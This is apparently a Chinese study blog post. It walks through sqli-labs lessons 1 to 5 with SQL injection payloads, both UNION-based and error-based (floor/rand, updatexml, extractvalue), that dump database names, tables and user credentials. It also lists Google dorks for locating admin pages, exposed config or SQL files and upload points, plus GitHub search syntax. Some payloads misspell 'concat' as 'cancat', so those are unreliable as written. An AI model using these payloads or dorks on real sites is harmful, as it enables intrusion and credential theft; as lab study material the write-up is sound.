something about sqliLabs 0x01

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-1

Get - Error based - Single quotes - String

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

注入点是id,正常urlhttp://train.com/Less-1/?id=1

注入id=10'or+true,会有报错信息(多余'),重新注入id=10'or+true%23%23#, 注释掉尾部的剩余sql语句

  • 确认显示列

    注入?id=1'+and+false+union+select+1,2,3+--+,页面上显示2,3,因此显示列为第2列与第3列。

  • 获取敏感信息

    利用获取的显示列,构造sql,将敏感信息放置在第2列与第3列中显示在页面上。

    注入?id=1'+and+false+union+select+1,version(),database()+--+,可以获得数据库版本号 与数据库名。

    • 获取数据库名

      注入?id=1'+and+false+union+select+1,(select+group_concat(schema_name)+from+information_schema.schemata),database()+--+, 可以获得当前数据库用户 所有数据库 (从information_schema库的schemata表中拼接schema_name获得)。

    • 获取数据表名

      获取库名的状态下,可以根据目标库名,获取表名。
      ?id=1'+and+false+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where table_schema='security'),database()+--+, 可以获得目标数据库的所有表名(从information_schema库的tables表中拼接table_name获得)。

    • 获取列名

      获取表名的状态下,可以根据目标表名,获取对应的字段名。
      ?id=1'+and+false+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where table_name='users'),database()+--+, 可以获得目标表的所有字段名(从information_schema库的columns表中拼接column_name获得)。

    • 获取关心信息

      获取字段名后,还有什么是获取不到的呢?
      ?id=1'+and+false+union+select+1,(select+group_concat(username)+from+security.users),(select+group_concat(password)+from+security.users)+--+, 可以获得所有用户的用户名及其对应的密码。

Less-2

Get - Error based - Integer based

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1相同

Less-3

Get - Error based - Single quotes with twist - String

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

相比Less-1,还需要闭合括号(),其它与Less-1相同。

Less-4

Get - Error based - Double quotes - String

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

此次以"(双引号)包裹参数,因此尝试闭合"

实际上当尝试注入id=1'+and+false+--+,却返回结果时,就应该考虑更换闭合方式。

成功闭合后,即与Less-1相同。

Less-5

Get - Double Injection - Single quotes - String

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

实际尝试后,注入?id=1'+and+false+--+?id=1'+or+true+--+页面反应不同样,即标志着确实有注入点。

只是,页面没有显示信息,如何获取信息呢?
并非没有办法。此处sql语句错误时,会输出错误信息,因此恶意构造sql语句,将关心信息藏在 报错输出中。

  • Duplicate entry

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    and
    (
    select 1 -- 检索y的值(1)
    from ( -- 括号必需
    select count(*)
    ,concat( -- 利用 concat函数拼接内容,起别名为x
    0x23 -- 拼接#符号,分隔信息
    ,($PAYLOAD) -- payload
    ,0x23
    ,floor(rand(0)*2) -- floor函数与count(*),group by,结合使用来报错
    ) as x
    from information_schema.tables
    group by x -- floor产生的0/1序列,group by 时会报错
    ) as y
    )

    使用公式and+(+select+1+from+(+select+count(*)+,concat(0x23,($PAYLOAD),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+,
    构造payload,?id=100'+and+(+select+1+from+(+select+count(*)+,concat(0x23,(select+database()),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+

  • updatexml报错

    1
    2
    3
    4
    5
    6
    7
    and
    ( -- 括号必需
    updatexml(1
    ,concat($PAYLOAD -- ~(0x7e)是非法字符,一定会报错
    ,0x7e)
    ,1)
    )

    updatexml(XML_document, XPath_string, new_value),当XPath_string格式出现错误时,mysql会报语法错误。

    使用公式,and+(updatexml(1,cancat(database(),0x7e),1))+--+, 构造payload,?id=99'+and+(updatexml(1,cancat(database(),0x7e),1))+--+

  • extractvalue报错

    1
    2
    3
    4
    5
    6
    7
    and
    ( -- 括号必需
    extractvalue(1,
    cancat($PAYLOAD
    ,0x7e)
    )
    )

    extractvalue(XML_document, XPath_string),与updatexml()函数相同,当XPath_string格式出现错误时,mysql会报语法错误。

    使用公式and+(extractvalue(1,cancat($PAYLOAD,0x7e)))+--+,构造payload,?id=99'+and+(extractvalue(1,cancat(database(),0x7e)))+--+


something about search skills

搜索引擎使用技巧

Google语法

  • 精确关键词

    使用"将关键词包裹起来,可以达到精确搜索的目的。如"abc def"为精确包含abc def 内容的站点,仅包含abc是不会匹配的。

  • 排除内容

    使用-xxx可以排除包含xxx的内容。

  • 逻辑或

    使用abc OR def,可以搜索包含abc或者包含def的内容。

  • 通配符

    使用*可以通配内容,达到模糊检索的目的,如*与莫蒂

  • intitle:

    使用intitle:xxx可以匹配标题关键字xxx

  • inurl:

    inurl:xxx搜索url中存在xxx内容的站点。 如:inurl:php?id=1

  • intext:

    使用intext:xxx可以检索主体包含xxx的内容。

  • related:

    使用related:xxx可以检索与xxx相关联的站点内容。

  • filetype:xxx

    检索文件后缀名为xxx的内容。

  • site:

    site:xxx.yyy,搜索xxx.yyy站点内的内容。如site:xxx.yyy 搜索引擎使用技巧。 可以搭配其它技巧使用。

    • 查找后台地址

      • site:xxx.yyy 管理后台/登陆/管理员/系统

      • site:xxx.yyy inurl:login/admin/system/guanli/denglu

    • 敏感文件

      • site:xxx.yyy filetype:pdf/doc/xls/conf

      • site:xxx.yyy filetype:log/sql/conf

    • 上传漏洞

      • site:xxx.yyy inurl:file
      • site:xxx.yyy inurl:load
    • 邮箱/QQ/群

      • site:xxx.yyy 邮件/email

      • site:xxx.yyy qq/QQ/群/企鹅/腾讯

Google语法

  • in:name

    使用in:name xxx,可以检索仓库 标题 中含有xxx的内容。

  • in:description

    使用in:description xxx,可以检索仓库 描述 中含有xxx的内容。

  • in:readme

    使用in:readme xxx,可以检索仓库 README 中含有xxx的内容。

  • forks:

  • stars:

    使用stars:>3000 xxx,可以检索star数量大于3000,包含xxx的内容。

  • forks:min..max

  • stars:min..max

    使用stars:1000..3000 xxx,可以检索star数量在1000至3000之间,包含xxx的内容。

  • size:

    使用size:>=5000 xxx,可以检索仓库大小在5000kb之上,包含xxx的内容。

  • pushed:

    使用pushed:>2021-12-26 xxx,可以检索推送时间大于2021/12/26,包含xxx的内容。

  • created:

    使用created:>2021-12-26 xxx,可以检索仓库创建时间大于2021/12/26,包含xxx的内容。

  • user:

    使用user:xxx检索 用户名xxx的内容。

  • license:

    使用license:apache-2.0 xxx,可以检索开源协议为apache-2.0,包含xxx的内容。

  • language:

    使用language:python xxx,可以检索 开发语言python,包含xxx的内容。